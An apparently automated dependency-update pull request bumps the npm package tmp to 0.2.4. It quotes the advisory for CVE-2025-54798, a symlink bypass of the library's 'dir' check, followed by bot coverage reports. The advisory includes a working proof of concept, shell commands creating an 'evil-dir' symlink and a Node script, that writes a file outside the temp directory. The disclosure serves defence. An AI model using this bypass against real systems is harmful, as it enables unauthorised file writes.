chore(deps): update dependency tmp to v0.2.4 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
tmp	0.2.3 -> 0.2.4

GitHub Vulnerability Alerts

CVE-2025-54798

Summary

[email protected] is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible.
Tested on a Linux machine.

• Setup: create a symbolic link inside the tmpDir that points to a directory outside of it

mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir

• check the folder is empty:

ls -lha $HOME/mydir1 | grep "tmp-"

• run the poc

node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".

• the temporary file is created under $HOME/mydir1 (outside the tmpDir):

ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]

• main.js

// npm i [email protected]

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}

Impact

Arbitrary temporary file / directory write via symlink

---

Release Notes

raszi/node-tmp (tmp)

v0.2.4

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commit: 9fba4a4

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Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff	Package	Supply Chain Security	Vulnerability	Quality	Maintenance	License
	indent-string@​5.0.0
	is-regex@​1.2.1
	is-core-module@​2.16.1
	is-arrayish@​0.2.1
	jest-regex-util@​30.0.1
	jest-get-type@​29.6.3
	jest-resolve-dependencies@​30.0.3
	jest-environment-node@​30.0.2
	jest-message-util@​30.0.2
	json-schema@​0.4.0
	jest-watcher@​30.0.2
	jest@​30.0.3
	lowercase-keys@​2.0.0
	is-text-path@​2.0.0
	jest-runner@​30.0.3
	jest-resolve@​30.0.2
	import-local@​3.2.0
	jest-runtime@​30.0.3
	jest-snapshot@​30.0.3
	is-docker@​2.2.1
	is-builtin-module@​5.0.0
	jest-config@​30.0.3
	is-generator-fn@​2.1.0
	lodash.isplainobject@​4.0.6
	is-obj@​2.0.0
	is-subdir@​1.2.0
	istanbul-lib-source-maps@​5.0.6
	jest-cli@​30.0.3
	lodash.upperfirst@​4.3.1
	jsonparse@​1.3.1
	is-wsl@​2.2.0
	lodash.debounce@​4.0.8
	lodash.kebabcase@​4.1.1
	lodash.snakecase@​4.1.1
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Coverage variation	Diff coverage
✅ +0.00% (target: -1.00%)	✅ ∅

Coverage variation details

	Coverable lines	Covered lines	Coverage
Common ancestor commit (d0a7816)	3722	3561	95.67%
Head commit (9fba4a4)	3722 (+0)	3561 (+0)	95.67% (+0.00%)

Coverage variation is the difference between the coverage for the head and common ancestor commits of the pull request branch: <coverage of head commit> - <coverage of common ancestor commit>

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	Coverable lines	Covered lines	Diff coverage
Pull request (#416)	0	0	∅ (not applicable)

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✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 96.10%. Comparing base (d0a7816) to head (972ead7).

Additional details and impacted files

@@           Coverage Diff           @@
##           master     #416   +/-   ##
=======================================
  Coverage   96.10%   96.10%           
=======================================
  Files          96       96           
  Lines        4952     4952           
  Branches     1862     1860    -2     
=======================================
  Hits         4759     4759           
  Misses        192      192           
  Partials        1        1           

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